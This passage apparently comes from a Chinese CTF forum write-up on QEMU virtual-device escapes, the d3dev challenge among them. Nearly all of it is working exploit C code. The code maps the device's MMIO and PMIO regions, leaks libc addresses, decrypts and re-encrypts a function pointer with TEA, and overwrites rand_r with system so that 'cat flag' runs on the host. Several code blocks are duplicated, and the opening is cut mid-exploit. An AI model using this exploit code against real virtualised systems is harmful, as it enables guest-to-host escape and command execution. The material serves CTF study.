read_io(7,8,0x44,leak); /////////////
printf("[+] leak:0x%s\n",leak);
//printf("[+] leak:0x%llx\n", leak);
long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;
long long system = base + 0x2C0AD0;
printf("[+] base:0x%llx\n",base);
printf("[+] system:0x%llx\n",system);
write_io(7,0x5c,0x44,&system); //////////////
char command[] = "cat flag";
write_io(4,0x3f,0,command);
pmio_write(12,0);
return 0;
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 0x1C )
{
opaque->r_seed = val;
key = opaque->key;
do
*key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);
while ( key != &opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*opaque->key = 0LL;
*&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 0x1C )
{
opaque->r_seed = val;
key = opaque->key;
do
*key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);
while ( key != &opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*opaque->key = 0LL;
*&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}
unsigned char* mmio_mem;
void setup_mmio() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
void mmio_write(uint32_t addr,uint32_t val){
*((uint32_t*)(addr+mmio_mem)) = val;
}
uint64_t mmio_read(uint64_t addr){
return *((uint64_t*)(addr+mmio_mem));
}
uint32_t pmio_base = 0xc040;
void setup_pmio() {
iopl(3); // 0x3ff 以上端口全部开启访问
}
uint64_t pmio_read(uint64_t addr){
return (uint64_t)inl(pmio_base + addr);
}
uint64_t pmio_write(uint64_t addr,uint64_t val){
outl(val,addr+pmio_base);
}
//因为key=0,所以直接省略掉key进行写加密解密函数。注意exp内的en实际对应的是de
uint64_t en(uint32_t high,uint32_t low){
uint32_t sum = 0xC6EF3720;
uint32_t delta = 0x9E3779b9;
for(int i=0;i<32;i++){
high -= (low*16) ^ (low+sum) ^ (low>>5);
low -= (high*16) ^ (high+sum) ^ (high>>5);
//sum -= delta;
sum += 0x61C88647;
}
return (uint64_t)high * 0x100000000 + low;
}
uint64_t de(uint32_t high,uint32_t low){
uint32_t sum=0;
uint32_t delta = 0x9E3779b9;
for(int i=0;i<32;i++){
//sum += delta;
sum -= 0x61C88647;
low += (high*16) ^ (high+sum) ^ (high>>5);
high += (low*16) ^ (low+sum) ^ (low>>5);
}
return (uint64_t)high * 0x100000000 + low;
}
int main()
{
printf("begin!!!!!\n");
setup_mmio();
setup_pmio();
pmio_write(8,0x100); //opaque->seek=0x100
pmio_write(4,0); //key[0-3]=0
//0x103
uint64_t rand_r = mmio_read(24); //decode
printf("region rand_r:0x%lx\n",rand_r);
uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000);
printf("encode randr:0x%lx\n",randr);
uint64_t system = randr + 0xa560;
printf("system:0x%lx\n", system);
uint64_t encode_system = en(system / 0x100000000, system % 0x100000000);
printf("encode system:0x%lx\n", encode_system);
uint32_t low_sys = encode_system%0x100000000;
uint32_t high_sys = encode_system/0x100000000;
mmio_write(24,low_sys); //只能4字节4字节的写入
sleep(1);
mmio_write(24,high_sys);
pmio_write(8,0);
mmio_write(0,0x67616c66); //blocks: flag
pmio_write(0x1c,0x20746163); //r_seed: cat
return 0;
}
unsigned char* mmio_mem;
void setup_mmio() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
void mmio_write(uint32_t addr,uint32_t val){
*((uint32_t*)(addr+mmio_mem)) = val;
}
uint64_t mmio_read(uint64_t addr){
return *((uint64_t*)(addr+mmio_mem));
}
uint32_t pmio_base = 0xc040;
void setup_pmio() {
iopl(3); // 0x3ff 以上端口全部开启访问
}
uint64_t pmio_read(uint64_t addr){
return (uint64_t)inl(pmio_base + addr);
}
uint64_t pmio_write(uint64_t addr,uint64_t val){
outl(val,addr+pmio_base);
}
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 2022-11-18 12:14
被e*16 a编辑
,原因: